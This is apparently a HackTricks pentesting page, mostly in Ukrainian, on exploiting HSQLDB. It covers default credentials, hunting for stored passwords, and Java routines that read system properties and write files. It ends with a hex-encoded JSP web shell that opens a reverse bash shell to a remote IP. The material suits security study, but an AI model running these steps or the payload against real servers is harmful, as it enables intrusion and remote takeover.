{% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} # Основна інформація **HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** Ρ” ΠΏΡ€ΠΎΠ²Ρ–Π΄Π½ΠΎΡŽ ΡΠΈΡΡ‚Π΅ΠΌΠΎΡŽ рСляційних Π±Π°Π· Π΄Π°Π½ΠΈΡ… SQL, написаною Π½Π° Java. Π’ΠΎΠ½Π° ΠΏΡ€ΠΎΠΏΠΎΠ½ΡƒΡ” Π½Π΅Π²Π΅Π»ΠΈΠΊΠΈΠΉ, швидкий Π±Π°Π³Π°Ρ‚ΠΎΠΏΠΎΡ‚ΠΎΠΊΠΎΠ²ΠΈΠΉ Ρ‚Π° Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†Ρ–ΠΉΠ½ΠΈΠΉ ΠΌΠ΅Ρ…Π°Π½Ρ–Π·ΠΌ Π±Π°Π·ΠΈ Π΄Π°Π½ΠΈΡ… Π· таблицями Π² ΠΏΠ°ΠΌ'яті Ρ‚Π° Π½Π° диску, Π° Ρ‚Π°ΠΊΠΎΠΆ ΠΏΡ–Π΄Ρ‚Ρ€ΠΈΠΌΡƒΡ” Π²Π±ΡƒΠ΄ΠΎΠ²Π°Π½Ρ– Ρ‚Π° сСрвСрні Ρ€Π΅ΠΆΠΈΠΌΠΈ. **ΠŸΠΎΡ€Ρ‚ Π·Π° замовчуванням:** 9001 ```text 9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0) ``` # Інформація ### ΠΠ°Π»Π°ΡˆΡ‚ΡƒΠ²Π°Π½Π½Ρ Π·Π° замовчуванням Π—Π²Π΅Ρ€Π½Ρ–Ρ‚ΡŒ ΡƒΠ²Π°Π³Ρƒ, Ρ‰ΠΎ Π·Π° замовчуванням ця слуТба, ΠΉΠΌΠΎΠ²Ρ–Ρ€Π½ΠΎ, ΠΏΡ€Π°Ρ†ΡŽΡ” Π² ΠΏΠ°ΠΌ'яті Π°Π±ΠΎ ΠΏΡ€ΠΈΠ²'язана Π΄ΠΎ localhost. Π―ΠΊΡ‰ΠΎ Π²ΠΈ Ρ—Ρ— знайшли, Π²ΠΈ, Π½Π°ΠΏΠ΅Π²Π½ΠΎ, Сксплуатували Ρ–Π½ΡˆΡƒ слуТбу Ρ– намагаєтСся ΠΏΡ–Π΄Π²ΠΈΡ‰ΠΈΡ‚ΠΈ ΠΏΡ€ΠΈΠ²Ρ–Π»Π΅Ρ—. ΠΠ°Π»Π°ΡˆΡ‚ΡƒΠ²Π°Π½Π½Ρ Π·Π° замовчуванням Π·Π°Π·Π²ΠΈΡ‡Π°ΠΉ `sa` Π· ΠΏΠΎΡ€ΠΎΠΆΠ½Ρ–ΠΌ ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΌ. Π―ΠΊΡ‰ΠΎ Π²ΠΈ Сксплуатували Ρ–Π½ΡˆΡƒ слуТбу, ΡˆΡƒΠΊΠ°ΠΉΡ‚Π΅ ΠΌΠΎΠΆΠ»ΠΈΠ²Ρ– ΠΎΠ±Π»Ρ–ΠΊΠΎΠ²Ρ– Π΄Π°Π½Ρ–, Π²ΠΈΠΊΠΎΡ€ΠΈΡΡ‚ΠΎΠ²ΡƒΡŽΡ‡ΠΈ ```text grep -rP 'jdbc:hsqldb.*password.*' /path/to/search ``` Π—Π²Π΅Ρ€Π½Ρ–Ρ‚ΡŒ ΡƒΠ²Π°Π³Ρƒ Π½Π° Π½Π°Π·Π²Ρƒ Π±Π°Π·ΠΈ Π΄Π°Π½ΠΈΡ… - Π²ΠΎΠ½Π° Π·Π½Π°Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ для ΠΏΡ–Π΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ. # Π—Π±Ρ–Ρ€ Ρ–Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†Ρ–Ρ— ΠŸΡ–Π΄ΠΊΠ»ΡŽΡ‡Ρ–Ρ‚ΡŒΡΡ Π΄ΠΎ СкзСмпляра Π‘Π”, Π·Π°Π²Π°Π½Ρ‚Π°ΠΆΠΈΠ²ΡˆΠΈ [HSQLDB](https://sourceforge.net/projects/hsqldb/files/) Ρ‚Π° Π²ΠΈΡ‚ΡΠ³Π½ΡƒΠ²ΡˆΠΈ `hsqldb/lib/hsqldb.jar`. Π—Π°ΠΏΡƒΡΡ‚Ρ–Ρ‚ΡŒ GUI Π΄ΠΎΠ΄Π°Ρ‚ΠΎΠΊ \(eww\) Π·Π° допомогою `java -jar hsqldb.jar` Ρ– ΠΏΡ–Π΄ΠΊΠ»ΡŽΡ‡Ρ–Ρ‚ΡŒΡΡ Π΄ΠΎ СкзСмпляра, Π²ΠΈΠΊΠΎΡ€ΠΈΡΡ‚ΠΎΠ²ΡƒΡŽΡ‡ΠΈ виявлСні/слабкі ΠΎΠ±Π»Ρ–ΠΊΠΎΠ²Ρ– Π΄Π°Π½Ρ–. Π—Π²Π΅Ρ€Π½Ρ–Ρ‚ΡŒ ΡƒΠ²Π°Π³Ρƒ, Ρ‰ΠΎ URL ΠΏΡ–Π΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ виглядатимС ΠΏΡ€ΠΈΠ±Π»ΠΈΠ·Π½ΠΎ Ρ‚Π°ΠΊ для Π²Ρ–Π΄Π΄Π°Π»Π΅Π½ΠΎΡ— систСми: `jdbc:hsqldb:hsql://ip/DBNAME`. # Π₯ΠΈΡ‚Ρ€ΠΎΡ‰Ρ– ## Π ΡƒΡ‚ΠΈΠ½ΠΈ ΠΌΠΎΠ²ΠΈ Java Ми ΠΌΠΎΠΆΠ΅ΠΌΠΎ Π²ΠΈΠΊΠ»ΠΈΠΊΠ°Ρ‚ΠΈ статичні ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΈ класу Java Π· HSQLDB, Π²ΠΈΠΊΠΎΡ€ΠΈΡΡ‚ΠΎΠ²ΡƒΡŽΡ‡ΠΈ Ρ€ΡƒΡ‚ΠΈΠ½ΠΈ ΠΌΠΎΠ²ΠΈ Java. Π—Π²Π΅Ρ€Π½Ρ–Ρ‚ΡŒ ΡƒΠ²Π°Π³Ρƒ, Ρ‰ΠΎ Π²ΠΈΠΊΠ»ΠΈΠΊΠ°Π½ΠΈΠΉ клас ΠΏΠΎΠ²ΠΈΠ½Π΅Π½ Π±ΡƒΡ‚ΠΈ Π² класpath ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΈ. JRT ΠΌΠΎΠΆΡƒΡ‚ΡŒ Π±ΡƒΡ‚ΠΈ `функціями` Π°Π±ΠΎ `ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Π°ΠΌΠΈ`. Π€ΡƒΠ½ΠΊΡ†Ρ–Ρ— ΠΌΠΎΠΆΠ½Π° Π²ΠΈΠΊΠ»ΠΈΠΊΠ°Ρ‚ΠΈ Ρ‡Π΅Ρ€Π΅Π· SQL-інструкції, якщо ΠΌΠ΅Ρ‚ΠΎΠ΄ Java ΠΏΠΎΠ²Π΅Ρ€Ρ‚Π°Ρ” ΠΎΠ΄Π½Ρƒ Π°Π±ΠΎ ΠΊΡ–Π»ΡŒΠΊΠ° SQL-сумісних ΠΏΡ€ΠΈΠΌΡ–Ρ‚ΠΈΠ²Π½ΠΈΡ… Π·ΠΌΡ–Π½Π½ΠΈΡ…. Π’ΠΎΠ½ΠΈ Π²ΠΈΠΊΠ»ΠΈΠΊΠ°ΡŽΡ‚ΡŒΡΡ Π·Π° допомогою інструкції `VALUES`. Π―ΠΊΡ‰ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ Java, який ΠΌΠΈ Ρ…ΠΎΡ‡Π΅ΠΌΠΎ Π²ΠΈΠΊΠ»ΠΈΠΊΠ°Ρ‚ΠΈ, ΠΏΠΎΠ²Π΅Ρ€Ρ‚Π°Ρ” void, Π½Π°ΠΌ ΠΏΠΎΡ‚Ρ€Ρ–Π±Π½ΠΎ використовувати ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Ρƒ, Π²ΠΈΠΊΠ»ΠΈΠΊΠ°Π½Ρƒ Π·Π° допомогою інструкції `CALL`. ## Читання властивостСй систСми Java Π‘Ρ‚Π²ΠΎΡ€Ρ–Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†Ρ–ΡŽ: ```text CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty' ``` Π’ΠΈΠΊΠΎΠ½Π°Ρ‚ΠΈ Ρ„ΡƒΠ½ΠΊΡ†Ρ–ΡŽ: ```text VALUES(getsystemproperty('user.name')) ``` You can find a [list of system properties here](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html). ## Запис вмісту Ρƒ Ρ„Π°ΠΉΠ» You can use the `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget located in the JDK \(auto loaded into the class path of the application\) to write hex-encoded items to disk via a custom procedure. **Π—Π²Π΅Ρ€Π½Ρ–Ρ‚ΡŒ ΡƒΠ²Π°Π³Ρƒ Π½Π° максимальний Ρ€ΠΎΠ·ΠΌΡ–Ρ€ 1024 Π±Π°ΠΉΡ‚ΠΈ**. Create procedure: ```text CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024)) LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename' ``` Π’ΠΈΠΊΠΎΠ½Π°Ρ‚ΠΈ ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Ρƒ: ```text call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024))) ``` {% hint style="success" %} Π’ΠΈΠ²Ρ‡Π°ΠΉΡ‚Π΅ Ρ‚Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΡƒΠΉΡ‚Π΅ AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Π’ΠΈΠ²Ρ‡Π°ΠΉΡ‚Π΅ Ρ‚Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΡƒΠΉΡ‚Π΅ GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
ΠŸΡ–Π΄Ρ‚Ρ€ΠΈΠΌΠ°ΠΉΡ‚Π΅ HackTricks * ΠŸΠ΅Ρ€Π΅Π²Ρ–Ρ€Ρ‚Π΅ [**ΠΏΠ»Π°Π½ΠΈ підписки**](https://github.com/sponsors/carlospolop)! * **ΠŸΡ€ΠΈΡ”Π΄Π½ΡƒΠΉΡ‚Π΅ΡΡŒ Π΄ΠΎ** πŸ’¬ [**Π³Ρ€ΡƒΠΏΠΈ Discord**](https://discord.gg/hRep4RUj7f) Π°Π±ΠΎ [**Π³Ρ€ΡƒΠΏΠΈ Telegram**](https://t.me/peass) Π°Π±ΠΎ **слідкуйтС** Π·Π° Π½Π°ΠΌΠΈ Π² **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Π”Ρ–Π»Ρ–Ρ‚ΡŒΡΡ Ρ…Π°ΠΊΠ΅Ρ€ΡΡŒΠΊΠΈΠΌΠΈ Ρ‚Ρ€ΡŽΠΊΠ°ΠΌΠΈ, Π½Π°Π΄ΡΠΈΠ»Π°ΡŽΡ‡ΠΈ PR Π΄ΠΎ** [**HackTricks**](https://github.com/carlospolop/hacktricks) Ρ‚Π° [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€Ρ–Ρ—Π² Π½Π° github.
{% endhint %}